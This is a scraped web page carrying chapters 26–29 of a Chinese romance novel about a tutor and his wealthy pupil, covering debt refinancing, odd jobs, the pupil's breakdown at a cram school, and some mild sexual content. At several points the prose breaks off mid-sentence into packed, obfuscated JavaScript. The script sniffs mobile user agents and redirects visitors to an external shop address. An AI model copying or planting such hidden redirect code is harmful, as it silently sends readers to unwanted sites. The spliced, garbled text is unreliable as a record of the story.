0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646966|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍嘉替他清帐,蔡衍嘉不死心,今天就大费周章地和银行的人在他面前演这么一出,真当他是个一点儿金融知识都不懂的土包子了? William自说自话地出去给合作社打电话,向天问阴沉着脸,正要数落蔡衍嘉,蔡衍嘉却先开口了:“向老师,我能打一会儿游戏吗?闲着也是闲着。” 见向天问没有出声反对,蔡衍嘉开开心心地掏出手机,舒舒服服地半躺在沙发椅里,旁若无人地打起了游戏。 这副没心没肺的模样倒把向天问弄得如同泄气皮球,有火发不出来。 他知道蔡衍嘉是出于好意,这种走到哪儿都被人捧着、哄着的阔少爷,甚至感觉不到这么做会显得向天问像个傻子。 可如果向天问这时候撕破脸拒绝,岂不反倒显得蔡衍嘉像个傻子?人家银行业务员受蔡少的委托,演这么一出“善良的资本家”戏码,结果被当场戳穿、下不了台,以后蔡衍嘉在这个银行的信誉必定大打折扣。 向天问权衡再三,最终还是咬牙忍了。 不一会儿,Willam再次出现,说已经同合作社那边对接好,还手写了一张单子,列出的新还款计划里,每个月只需要还990。 向天问迅速在脑子里一算,这哪有利息,刚刚能把本金覆盖而已。 “……滞纳金5%。如果向先生没有异议,我们可以现在就帮您操作转贷。需要您出示身份证或者护照,先在我行开户。” “好的,感谢。”向天问掏出身份证递给Willam。 一切都很快,从开户到转贷,再到手机银行、app的设置,总共花了不到半小时时间。 蔡衍嘉拒绝了William招待他们午餐的提议,两人来到阳光刺目的街面上。 无论如何,提前还贷是一件值得高兴的事,向天问说服自己“不要不识好歹”,努力挤出笑容对蔡衍嘉说:“我请你吃饭吧。”说完就后悔了。 他曾在阅读理解里看过一篇讲黄浦江畔消费的文章,这里的物价高到被人们调侃说与别的地方有汇率差。他不敢想,能入蔡衍嘉眼的一顿午饭,得花多少钱。没准儿能把“省下来”的利息一次性都搭进去。 正暗暗咬牙肉疼,却见蔡衍嘉眨巴着大眼道:“这不巧了吗,向老师?你知道今天是什么日子?” 向天问提心吊胆地摇摇头,不会还要给这货送生日礼物吧?把他论斤卖了都不一定能买到配得上蔡衍嘉的东西。 26. 第26章 “疯狂星期四啊!”蔡衍嘉指着不远处一栋楼上的红色招牌,兴奋地跺起小碎步,“今天必须给我全款拿下最大的桶!” 于是向天问花89“拿下”一大桶炸鸡,把肉最多的鸡块都留给蔡衍嘉,自己只拣鸡翅啃。两人吃得油光满面,蔡衍嘉这才心满意足地同意回家。 微信里一收到蔡衍嘉发给他的6000,向天问立刻把其中5000转给姑姑。没过一会儿,两人刚下地铁,姑姑就打来电话:“咋转这么多?你不吃喝了?” 他快走两步,压低声说:“人家包吃包住的,我天天不出门,用不上钱。” “你要开学了不买点书本文房?买两身好衣服,别叫人瞧不上咱!” 向天问低头看看自己这身标价七千多的衣服,怪不好意思的,只好说:“我留了一千,姑你别光省钱,你们也吃好点。”又用手罩住听筒,小声说:“别把钱给我爸,到医院直接交给窗口,可不敢经他手!” 他姑叹气道:“那个畜生!一天天还问我要呢,说他儿在外边挣大钱,都叫我骗去了,骂得可难听……摊上这个货,我也是没招了。” “姑……”向天问手按额头满心酸楚,“不该你摊上他,都是为了我……” “说啥呢,你不是要给我当儿吗?说这见外的话!”姑姑语气轻松了一点儿,“你好好教人家小孩,城里娃娃娇气,你耐心点儿,可不敢把人伤着了,嗯?” 向天问回头瞄一眼“城里娃娃”蔡衍嘉,无奈道:“知道了。入伏就让我姑父歇两天,别中暑了。” “哎呀你操心这事干啥?你干的事、上你的学,就这样。”姑姑匆匆挂断电话,向天问不觉眼眶微微泛红。 “向老师,你爸爸生病了?蔡衍嘉追上他,探头探脑地问,“有没有看过专家?” 这货耳朵怪灵的,向天问皱眉道:“看什么专家?他天天瘫在床上,得了褥疮。” 蔡衍嘉听了这话,突然一个大步迈到向天问面前,扑上来抱住他,还在他背上轻轻摩挲几下:“向老师,你真的太不容易了。要是我早点认识你就好了。” 光天化日的这是干什么?!向天问吓得扭头四望,幸好是在烈日炎炎的大中午,街上没几个人。 蔡衍嘉松开他,边走边念叨:“蔡衍诚也欠过几个亿,老爷子请了戒赌专家,把他关了大半年呢。你别看他在外面人模人样的,这些年蔡家可没少给他擦屁股!” “他还把人家女明星肚子搞大了,又劈腿,闹得满城风雨,最后鸡飞蛋打,孩子也拿掉了,老爷子气得心脏病都犯了……” 向天问却没听进去,只是在想,“早点儿认识”,早认识又能怎么样?假如蔡衍嘉真是他同学,即便两人同一个班,估计也不会有什么交集。 再说了,他爸干的丑事十里八乡人尽皆知,虽然没有人在他面前嚼舌根,可他能感觉到,所有关心、帮助他、对他示好的人,看他的眼神里都夹杂着无法掩饰的深深的怜悯。 他没有办法和同情他的人做朋友。 难得蔡衍嘉不用这种眼神看他,但那是因为蔡衍嘉根本无法共情他的遭遇,甚至理解不了“父亲欠赌债”这件事情,对一个普通家庭的小孩来说意味着什么。 说话间就走到家了。两人一进门,正商量着先各自冲个凉、再去书房碰头,老季走了出来。 “衍嘉少爷,下午你得跟我出去一趟。我联系到一个能招收复读生的高中,今天人家打电话来,需要你本人去报到,下周一就要开始补课了。” “啊……”蔡衍嘉一屁股瘫坐在穿鞋凳上,整个人都要垮了,“又要上学了?!” 向天问把他拉起来,鼓励道:“跟班复习也好,更系统一些。你不要上晚自习,每天把卷子拿回来,我帮你整理订正。” 蔡衍嘉一路嗷嗷叫着,冲好澡出来,仍是一脸沮丧。 几天后的清晨,蔡衍嘉七点不到就被老季掀被子叫起来,开始了复读的日子。 “向老师,你不要抛下我,你一定要等我啊!等我回来!”出门前,蔡衍嘉又扒着门框演了一出,搞得像生离死别一样,向天问憋不住笑了。 蔡衍嘉不在的12小时里,向天问如坐针毡。家里冷冷清清,闲得他心里直发毛。三天后他终于坐不住,说什么也要出去打一份工。 蔡衍嘉只好拜托Kiki给他找了份“正经”工作——在一家潮牌衣服店当收银员。 这种工作一般按颜值身材和粉丝量给钱,向天问初来乍到,每天600块钱。 他听Kiki说“只有600”时,心里忍不住呐喊,已经很多了!每天上午10点到下午4点,6个小时,时薪有100了。 工作内容就只是收银、叠衣服,说几句“欢迎光临”、“尺码确定吗”。他从没挣过这么容易的钱,心中不免惶恐,所以每天9点钟,商场连电梯都没开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646967|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就去店里,主动帮忙点库存、理货,甚至打扫店面。 为了形成什么“粉丝效应”,这个店给每个收银台子前放一个玻璃瓶,顾客可以给喜欢的收银员投纸星星。因为向天问态度诚恳、手脚勤快,仅仅一个周末,他面前的玻璃瓶里星星都装满了、直往外冒。 原本规定,得到星星最多的人可以额外领一笔奖金,可到月底结算的时候,向天问非但没拿到奖金,反而被开除了。 当晚Kiki打电话向蔡衍嘉解释,人家店长看向天问表现太积极,觉得他想当店长、是来抢饭碗的。 向天问哭笑不得,城里人的钱果然没那么好挣。 白天在家里实在待不住,他早上送走蔡衍嘉后,就出门在外面闲逛,看大城市的车水马龙、人头攒动,在繁华的商业街和商铺间寻找打工的机会。 逛了好几天还是一无所获,因为他根本心不在焉。他每隔一会儿就掏出手机来看看,脑子里总在盘算,现在应该是第几节课,蔡衍嘉在做卷子还是在听讲,有没有打瞌睡,是不是坐不住、又在抖腿…… 这天他看见隔壁小区的快递站招理货员,一个月5000,包两顿饭。他高高兴兴去应聘,干了大半天,又被婉拒了。 因为傍晚五六点钟,快递站最忙的时候,他却说要回家“辅导功课”。快递站老板问他:“你这么年轻,孩子都上学了?” 他不好意思解释“孩子”是怎么回事,只好领了半天的工资,灰溜溜地回去了。 打工的事不顺利,这阵子蔡衍嘉的状态也不对头。 最开始上学那几天,蔡衍嘉出门前还会认真挑一身衣服换上、把头发抓一抓,可渐渐的,每天一起床就露出生无可恋的表情,有时候脸都不洗就走了。 晚上放学回来,话渐渐少了,脸上再也没有笑容。最初还会拉着向天问吐槽,说“这老师根本不会教,问他题目他就骂人,我怀疑他自己也不会做”;“班上同学一个个像精神病一样,别人看一眼他的卷子都能打起来”…… 可最近几天,蔡衍嘉一到家就两眼发直,往向天问怀里一扑,有时候要抱半个小时,才能缓过劲儿来。向天问问他“怎么了”,他又说“没什么”、“懒得提”。 这天傍晚,向天问下楼去车库接蔡衍嘉,等了快一个小时,竟没见到人。实在等不住了,心里忐忑得厉害,他只好给老季打电话。 老季却说,他们在医院。 27. 第27章(修) 向天问心里咯噔一下,老季又说:“没什么大事,刚打上吊瓶。” 都输液了,能没事吗?他问清医院的名字,赶紧在手机上叫了个车,手都在抖。 这个叫“和牧家”的私立医院特别冷清,诺大的门诊里护士比患者还多。医院怎么可能这么闲?向天问都有点儿怀疑它正不正规。 他报出蔡衍嘉的名字,轻声细语的护士把他领进一间单人病房。这病房竟然还是两间,老季坐在外间的沙发上,看到他来,立刻起身把他带到门外。 “衍嘉少爷不想让你来,闹着要回家,实在没办法……推了一针镇静剂。”老季一脸愁云惨淡,“医生初步诊断是分离性障碍,俗称癔症……” 向天问一听脸色煞白:“怎么回事?早上出门好好的,怎么上学还把人上坏了?!” “哎,他上这个复读班里都是高考没考好的孩子,压力都很大,班主任老师工作也不讲方式方法。今天不知道因为什么小事,他跟同学产生了一点矛盾,老师呢,也没有认真处理,就各打五十大板,批评了他,说了些难听的话。” “衍嘉少爷觉得自己没错,当时就有点受不了,情绪崩溃,歇斯底里起来。我去的时候,他一个人蹲在教室角落里哭……”老季看起来也很心疼,“旁边那些学生像假人一样,一个个就这么坐着写卷子,都没人理他。” “老师说他什么?”向天问实在难以想象,什么事情能让蔡衍嘉这个没心没肺的家伙崩溃成这样。 老季叹了口气道:“就那些话呗,说他‘空心病富二代’、‘靠钱弥补双商’之类的。这是那个老师自己承认的,可能还有别的吧,衍嘉少爷不肯告诉我。” 这种人也配当老师?向天问牙齿磨得咯咯响,恨不得当时也在场,替蔡衍嘉骂回去:“打教育局监督电话投诉他!” 老季摇摇头:“嗐,向老师你可能没关注到,今年新落地的政策,不允许招复读生。这个学校趁还没有公布惩处措施,卡着时间点把这个班办起来已经不容易。你非要闹到教育局面前,人家直接一句‘按规定来’,给你取缔了,这些孩子怎么办?” 怪不得这老师敢这么嚣张,向天问气得直喘粗气。 “向老师,你吃饭了吗?”老季问他。 他这才想起来,刚刚急昏头了,应该把周姨做好的饭菜带过来的。 “我吃过了。”他撒谎说,“我在这儿守着,季叔你回去吃吧。” “也好,我给衍嘉少爷带一份来,夜里他可能会饿。”老季拍拍他肩膀,“让他睡会儿吧。做了脑电图,没什么大事,医生说很大可能是压力性的。” 向天问放轻脚步来到里间病床前,蔡衍嘉阖眼静静躺着,两扇睫毛湿漉漉一丛一丛的,看起来可怜得要命。 上了这个破复读班,成绩反而掉下来了,英语又退回100分左右,讲过的数学题也反复错,早该意识到不对劲的!前几天发现蔡衍嘉晚上老是发呆,就该有所警觉。他以为蔡衍嘉是在适应新的学习环境,所以大意了。 向天问既生气又懊恼,不知道自己能做什么,不知不觉伸手握住了耷拉在床沿上的蔡衍嘉苍白的手,用拇指轻轻在他手背上摩挲。 正发呆,蔡衍嘉醒了,叫了声“向老师”,嗓音哑哑的。 向天问心口一抽,慌忙撒开手。蔡衍嘉伸直胳膊要抱,另一只手的手背上还插着针头,他赶紧俯身靠上去。 蔡衍嘉两手抓住他后背衣服,乱蓬蓬的头发蹭得他脖子痒痒的。 “向老师,我想休息两天,缓一缓。”蔡衍嘉委屈巴巴,“明天又要按照成绩排座位,这下我就要坐在垃圾桶旁边了。” 向天问噌的一下来火:“不上了,咱不上了!你把学籍挂着,咱们回家自己学。” “嗯。”蔡衍嘉埋在他胸口吸了下闷堵的鼻子。 他这样弓着腰实在难受,蔡衍嘉又不肯放手,他只得脱了鞋上床,躺在蔡衍嘉身边当抱枕。好在这个病床比一般医院的宽敞很多,两个人搂在一起不算难受。 没等向天问打听,蔡衍嘉就主动说道:“我旁边那哥们儿非说我抄他的,傻缺老师都不听我解释就骂我,让我滚回家、别‘抢’别人上大学的名额…… “他还说我‘是不是没爸没妈’,我就回他,你有爸,你爸可太多了。他就让全班同学举手表决要不要把我赶走……” “这种人,到了社会上,你根本看都不会看他一眼,他自己也知道,所以只能趁在学校里、利用手里这丁点儿的权力,在你面前找点儿心理平衡。”向天问轻轻拍他脊背,“我确实没想到复读班的师资是这种情况,早知道这样,我是不会让你去浪费时间的。” 蔡衍嘉紧紧抱着他,哽咽道:“你不知道,上学第一天,我就请全班同学吃冷饮,班里的打印费也没让他们交、我全包了……那么多人举手背刺我……我想不通……” 行吧,又是这么一回事。向天问忍不住直说了:“你觉得你花钱帮助别人,别人就会喜欢你?其实你的这些恩惠,只会让他们意识到自己是穷人、你是万恶的资本家。人家又不是出不起这几十块钱,也没人求你帮忙啊,反而会觉得你是在炫富、拿钱扇人脸。” 蔡衍嘉闻言止住抽泣,似乎连呼吸都停滞了几秒。 正当向天问反思自己是不是话说得太重,蔡衍嘉突然抬头看着他问:“向老师,你也这样想吗?所以才不肯借我的钱?” 向天问沉吟了一瞬,老实答道:“我知道你不是这个意思,但是……有点儿吧。凭我自己的能力迟早能还清欠款,你非要借给我钱,就好像你不相信我自己能办到一样。我就很不服气。” “哦。”蔡衍嘉委屈地撇撇嘴,“我是觉得,你整天想着挣钱、还钱,好像干什么都是为了钱一样。我都不知道你对我好究竟是真关心我,还是为了钱。我想让你早点儿解决钱的问题,这样你就能,就能……” 就能什么?莫名其妙地,向天问的心就提到了嗓子眼儿,也不知道在期待什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646968|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可就在这紧要的关头,敲门声突然响起,护士推门走了进来。 向天问噌地跳下床,满脸通红、手脚都不知道该往哪儿搁了。 护士却十分淡定,温柔地对蔡衍嘉说:“液体没了,针帮你拔掉吧?” 蔡衍嘉表示想回家,护士点点头:“我去请李主任来评估一下,稍等。” 不一会儿,戴眼镜的医生进来,检查了蔡衍嘉的瞳孔和脉搏,问了几个问题。 蔡衍嘉说自己认床,在医院睡不好。医生请他在好几个单子上签字,又嘱咐他“远离压力源,每天进行户外有氧运动”,就去给他打出院证了。 等手上的针眼儿不出血了,老季正好提着饭菜赶来。 回到家,蔡衍嘉不想吃饭,只喝了一碗周姨煲的靓汤;回到房间又说睡不着,要向天问陪他看个电影、“酝酿”一下困意。 老季只好冲向天问点点头、道了声“辛苦向老师”,便替他俩关上门走了。 “想看什么电影?”向天问接过遥控器,挨个点击屏幕上整齐排列的图片。 “随便。”蔡衍嘉恹恹的没什么精神。 既然是为了催眠,动作片、惊悚片肯定不能选;喜剧也不合适,万一笑精神了怎么办?最终向天问在“爱情片”分类下选了一部叫做《恋恋笔记本》的外国电影,因为他觉得爱情片应该很无聊,还是关于“笔记本”的,肯定能把人看睡着。 果然,影片一开始就是养老院里老头给老太太念日记。蔡衍嘉枕在他胳膊上打了个哈欠,他也找到一个舒服的姿势,两人挨在一起,半躺在厚厚的抱枕上。 原来这个片子讲的是穷小子和富家女的爱情故事。男女主人公在游乐场相遇,一见钟情,然后一起看电影、跳舞、玩水,甜蜜约会。 这是向天问头一回看别人亲嘴,亲那么久、那么缠绵,他看得两眼发直,脸颊滚烫,感觉整个身体像要着火了一样。 他提心吊胆地低下头,发现蔡衍嘉已经在他臂弯里睡着了。早已看过无数次的蔡衍嘉的睡颜,此时却令他产生出异样的悸动。尤其是那张M型的精巧嘴唇,中间凸起的唇珠是那么可爱、那么诱人,看起来就……很好亲。 啥?沸腾的血液直冲大脑带来的晕眩感,害得他脑子里乱成一团。 手指,香味,向老师,浴缸,泡泡糖,大师,钟意,对我好……脑子里的一万个念头全变成支离破碎的片段,平生头一次,向天问大脑宕机,连自己在想什么都搞不清了。 屏幕上的一对男女亲完又那个上了,向天问不敢再看,只好扭头抱着蔡衍嘉的脑袋。 应该走开的,怎么不跑啊?这是在干什么呢?他不停问自己。可这次和以往都不一样,他偏偏怎么也舍不得推开,反而越抱越紧,破罐子破摔似的死赖在蔡衍嘉身上。 “嘿嘿。”他突然听到一声熟悉的轻笑。向天问反应了一下,意识到这笑声并非是在脑子里,而是来自怀里活生生的人,吓得他屏住呼吸、一动也不敢动。 28. 第28章 “向老师,你顶到我了。”蔡衍嘉埋在他胸口说。 怎么办,怎么办?现在跑的话,不就等于承认刚才是在占人家便宜?向天问脑袋嗡嗡的,实在没招了,干脆两眼一闭,装睡。 这一装,就装了整整一夜。蔡衍嘉在他怀里睡得香甜,他舍不得走,又睡不着,就这么干熬着,一直熬到天都亮了。 突然,怀中一动,向天问赶紧闭上眼睛、放松手脚,假装还没醒过来。 蔡衍嘉轻轻搬动他的胳膊,从他怀里钻了出去。 向天问偷偷睁眼,看见蔡衍嘉蹑手蹑脚下床,来到墙角的橱子前面,拉开抽屉不知在寻摸什么,然后手里攥着个东西进卫生间去了。 是去方便吗?似乎不像。向天问侧耳倾听,卫生间里传出的并非水声,而是一种苍蝇蚊子叫似的“嗡嗡声”,像是……电机? 这动静竟有些耳熟。一个猜想浮上心头,向天问悄悄下床,小心翼翼地拉开那个抽屉。 嚯,里面果然是那种东西!黑的粉的透明的,直的弯的椭圆的,满满一抽屉全是各式各样的“小玩具”。 向天问又气又想笑,“嗡嗡声”却突然停了。紧接着,卫生间里传出两声似叹息、又似呜咽的喘气声。他赶紧跑回床上,继续阖眼装睡。 不一会儿,蔡衍嘉带着一身热气上床,重新钻回他怀里,身上软绵绵、汗津津的。 向天问恨得牙痒痒,再也装不下去,伸手在他大腿上拧了一下,沉声问道:“你干什么去了?” 蔡衍嘉受惊浑身一僵,继而蹭着他胸口哧哧地笑,却不回答。 “不伤身体吗?”向天问说起来都觉得害臊,“带电的东西你也敢往身上招呼……” “不会呀,很舒服的。”蔡衍嘉抬头望向他,眸子闪亮亮,眼下的红晕还未褪去,“向老师,要不要我也帮你……‘舒服’一下?” 残存的一丝理智令向天问瞬间惊醒,他一把抓住蔡衍嘉伸向他腿间的手,掀被跳下床:“醒了就起来背范文吧。” 蔡衍嘉在床上打了个滚:“哎呀,再躺一会儿,缓一缓嘛,好不好?” 向天问不敢同他纠缠,赶紧跑回自己房间。洗换一新后,他来到餐厅,老季已经摆好清粥小菜、一屉小笼包。 “那么今天衍嘉少爷就不去学校了。”老季看了一眼手表,“打算歇几天?我去和学校那边沟通。” 向天问说:“不去了,以后就在家学。接下来学校发的资料还能不能拿回来?毕竟是交了学费的,他说班上打印费也是他包了。” 这个班的老师水平不行,发下来的模拟卷质量却很高,尤其数学,时不时有几道高考水平的新题、好题,让人眼前一亮。向天问猜想学校里应该有高人,这种内部资料外面可买不到。 老季迟疑了一下,点了点头:“嗯,向老师带他学,更有针对性,对他的情绪也有好处。下午我去找上次和我对接的校领导谈一下资料的事,应该没问题。” 又过了一个多小时,蔡衍嘉才悠哉悠哉地出现在书房。 向天问怕他的情绪还没缓过来,不敢让他做太有挑战性的题,就把他最擅长、最有成就感的英语范文拿出来一篇,让他念念背背。 吃过了复读班的苦,蔡衍嘉终于深切体会到在家学习的甜,因此学得格外认真,连续坐了半个小时,屁股都没动一下。 等他默写完,向天问赶紧夸他:“嗯,状态还在。虽然浪费了两三周时间,但问题不大,我觉得很快能补回来,我对你有信心。” 蔡衍嘉握住他的手,激动地连连点头。 向天问看这货不像还在难过的样子,便又拿出一张语文卷子,让他做做客观题,练练手感。 下午,向天问给蔡衍嘉讲完向量的加法运算,找了几道配套习题让他做。 这时,老季敲开书房门,递进来一个纸箱,说是从蔡衍嘉学校的柜子、桌肚里拿出来的东西。 “向老师,学校同意把资料带回来,以后每周五晚自习的时候我去取一趟。” 向天问道了声谢,接过箱子、搁在地上,却对里面的东西产生了好奇。 这么大一个箱子,里面竟没有几件蔡衍嘉自己的东西,都是些贺卡、挂件娃娃、手工小包之类的玩意儿,甚至还有一罐早已过期的草莓酸奶。 他随便拿起一张卡片,打开一看,是女孩子写给蔡衍嘉的“交友信”。先是一段简短的自我介绍,然后说自己也喜欢某某东西,“想和哥哥认识一下”;留了手机号,括号注明“全平台通用”,还用一小条胶带粘了个弹力绳一样的东西在上面。 向天问皱了皱眉,才高一的小女孩,心思不花在学习上也很正常。 接着又看了几张,呵呵,哪个年级的都有。奇怪的是,每一张卡片、每一样东西上都粘着皮筋。 他猜想这可能是某种流行的礼物,直到看见一条皮筋上有根长头发,顿时膈应地扔到一边。 蔡衍嘉注意到他的动作,哈哈笑了:“向老师,你不会生气吧?你放心,我一个都没有接受哦。” “这些人干嘛把用过的皮筋给你?”向天问想想就觉得怪怪的。 “现在男生谈恋爱之后都会把女朋友的皮筋戴在手上,宣示主权的意思。”蔡衍嘉笑眯眯地解释道,“就像不要钱的戒指,还要更私密一点。假如我带了谁送的皮筋,她就知道表白成功了;别的女生看见,就不会再送了。” 蔡衍嘉伸出两手,冲着向天问转了转手腕:“看,没有皮筋。” “那你随便找个皮筋戴上,不就没人给你送了?”向天问说,“你不嫌麻烦吗?上个学就够累的了,还要天天处理这种事!” “哇凹,你好聪明啊,向老师,我怎么没想到呢!”蔡衍嘉语气格外夸张,听不出来是真心话,还是在阴阳怪气。 向天问白他一眼:“那现在怎么办?这么多扎头的皮筋放家里,你不嫌瘆得慌?” “随你怎么处理咯,向老师,我都无所谓,你开心就好。”蔡衍嘉很努力地憋笑,嘴角还是一直咧到耳朵根。 有什么好“开心”的,向天问莫名烦躁起来,真想给他一把火烧掉,可惜城里不能随便放火。 蔡衍嘉做完了习题,递给向天问批改:“向老师,医生要我每天户外活动,是不是啊?” 向天问早料到他会有这么一出,头也不抬地说:“你下楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646969|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着小区步道跑两圈吧。” “才几百米啊,那也算户外?”蔡衍嘉嘟嘟囔囔,“我昨天break down诶,你不带我出去散散心?正好要去买东西,我们散步去吧。” “买什么东西?”向天问听见逛街就心有余悸。 “皮筋啊,你不是说让我买个皮筋戴上?”蔡衍嘉冲他眨眨眼,“我还真没买过皮筋,要去找找呢。” 行吧,向天问又妥协了,出去散散心也好,这两天他自己心里也怪烦的。 蔡衍嘉换了一身背心、大裤衩,胸前斜挎着一个三角形包包,穿上那双厚底拖鞋;出门前又跑进去拿出两个墨镜来,和向天问一人一个。 两人出了小区,顺着滨江绿道往商业街方向走。 途中遇到几个外地来旅游的年轻女孩,非要拉着他们一起拍照。蔡衍嘉大大方方地和人家合影、给别人拍集体照,还教人家摆什么造型、哪个机位“出片”,玩得不亦乐乎。 向天问却有些别别扭扭,手脚僵硬地往哪儿一站,像复制粘贴一样出现在每张照片里。 “出片”之后,女孩儿们还舍不得走,问他们接下来要去哪儿。 “我们要去买小皮筋。”蔡衍嘉神秘兮兮地看向天问一眼,“新的、没用过的小皮筋。” “哦哦~”女孩儿们异口同声地怪叫起来,“懂懂懂!” 看着她们和蔡衍嘉眉来眼去、心照不宣的样子,向天问心里便有些不耐烦,却不好直说。 所幸蔡衍嘉很快和她们挥手道别,两人继续沿着江边散步。 路过一家咖啡店,门口竖着“手工抹茶冰淇淋”的广告牌。蔡衍嘉拉着向天问进去,只见冰柜里排列着8个颜色渐变的冰淇凌格。从浅浅的嫩绿到越来越浓的深绿,清新又高雅的颜色十分养眼。 蔡衍嘉连价也不问,就让店员每隔一格挖一勺,他和向天问一人两个冰淇凌球。 付款时向天问才发现,这冰淇凌一个球就要68! 蔡衍嘉挖了一小勺最深的墨绿色,刚放进嘴里就皱眉“唔”了一声,说“好苦啊!” 向天问心想,68块钱,可不能浪费,就算是中药味儿也得吃啊。于是接过来,把自己手里那两个颜色较浅的换给蔡衍嘉。 颜色浅的应该味道不错,蔡衍嘉吃得满脸甜笑,还舔着嘴唇问:“向老师,你想尝尝吗?”说着就把手中小勺递到向天问嘴边。 这是干什么?!店员还看着呢,向天问瞬间脸红,热气从耳朵眼儿里直往外冒。 可蔡衍嘉就这么伸手等着他,他只好张开嘴抿了一口。嗯,的确比他手里这两个甜,沁人心脾的凉意顺着喉咙滑进心里,他的脸却更烫了。 蔡衍嘉低头吃一口冰淇淋,眼睛却笑盈盈一直瞅着他,这目光让他想起…… “向老师,要不要我也帮你……”早晨那一幕毫无征兆地跃上心头,向天问方寸大乱,手中的冰淇淋盒险些翻倒。 就在这时,裤兜里的手机响了。向天问把冰淇淋递给蔡衍嘉,接起电话。 “向老师,你好啊。”听筒里,蔡铭生苍老而沙哑的声音威严十足,“阿川同我讲,你叫蔡衍嘉不去上学了?” 29. 第29章 “蔡先生,抱歉惊动您了。”向天问立刻挺直了腰身,严阵以待。 他把蔡衍嘉口中昨天学校发生的事转述了一遍,又报出一串确凿的数据——蔡衍嘉在家时各科能得多少分,比原高考成绩提升多少,去了复读班分数不升反降的比例,甚至上了二十天学就收到多少“表白信”——力证这个复读班效率低下、破坏蔡衍嘉的专注力和心理健康,实在没什么好上的。 一番话说得蔡衍嘉连连点头,手机里的蔡老爷子也沉默了片刻。 “好,我了解了。”蔡铭生终于发话,“既然向老师经过深思熟虑,我当然相信你的判断。” 向天问长出一口气,肩膀松懈下来,蔡衍嘉也跟着攥拳“耶”了一下。 “不过,你不必宠着他,他是个成年人了,这点压力都受不住,今后如何在社会上立足?”蔡铭生似乎话里有话,“另外,我是绝对不会容许蔡衍嘉拍拖的。至少现阶段不可以。先安身立业,再讲儿女情长,蔡家的规矩,他是知道的。” “外面有太多居心不良的人,想从他身上打我蔡家的主意。那么还请向老师多多费心,帮我看住他咯。” “好的,蔡先生,您保重身体。”对面挂断电话,向天问收起手机,想想又觉得这通电话好像哪里不大对劲。 首先,向蔡衍嘉表白的只是些犯花痴的高中女生,谈不上“居心不良”,更不至于打蔡家什么主意,蔡铭生这话似乎并非针对她们。那是针对谁? 再者,老季说,蔡铭生情况不大好,连饭都吃不了了,每天靠打营养水维持。可电话里老爷子明明言语流利、中气十足,倒比上次通话时状态更好。难道老季说谎骗他? 蔡衍嘉看出向天问面露疑惑,把冰淇淋递给他时问道:“怎么了,向老师?” “没什么。老爷子同意你在家学,还说不许你‘拍拖’。” “我哪有拍拖……”蔡衍嘉脸上满是心虚,转身边走边念叨,“这个老季,笃人脊背,such a rat!” “你不是说没谈吗?没谈你怕什么?”向天问跟上他,“你爸说得有道理,现阶段绝不是谈恋爱的时候。连大学都考不上的话,谁会认真把你当回事儿?” “哎呀,向老师,我谈没谈你还不知道吗?”蔡衍嘉满脸沮丧,没好气道,“走吧,回家了。” “不是要买皮筋吗?”向天问拽住他。 “社区便利店就有啦!”蔡衍嘉突然没了逛街的兴致,径直往回走。 向天问纳闷道:“便利店就有,你还带我跑这么远干什么?” “你说我带你来干什么?”蔡衍嘉莫名其妙不高兴了,“啊,你说呢?你不是很聪明吗?” 是来有氧运动?还是为了吃冰淇淋?要么就是坐了一天嫌烦了,找借口出来放风。 可蔡衍嘉并没有等他回答,就迈开大步,头也不回地登登登走了。 向天问赶紧跟上,发现这货越走越快,根本不理人。路过小区便利店,他跑进去,花十几块钱买了一包黑色皮筋揣在兜里。 吃晚饭的时候,蔡衍嘉仍阴沉着脸不吭声,不知道是在生老季的气,还是在生向天问的气。 帮老季收拾好碗筷后,向天问来到蔡衍嘉的房间,掏出皮筋递给他。 蔡衍嘉先是看了一眼,抿紧的嘴角渐渐划出一道上翘的弧线,憋着笑说:“你选的?送给我啊?” “嗯。”向天问点点头,“只有这种直径大一些,别的都太小了、勒手腕。” 蔡衍嘉这才接过去,撕开包装拿出一个,边往手上戴,边没来由地问:“向老师,你真的没谈过吗?” “没有。”向天问坦然道,“哪有那闲工夫?” “没有人追过你吗?不会吧。”蔡衍嘉莫名其妙又高兴起来,“你就从来没对谁心动过吗?” 心动?对谁……向天问想起昨晚看电影时升起的诡异念头,蔡衍嘉嘴唇的形状,两人肌肤相贴的美妙触感,拥抱时心中充满感动与欢喜,仿佛灵魂都在震颤……那就是心动吗? 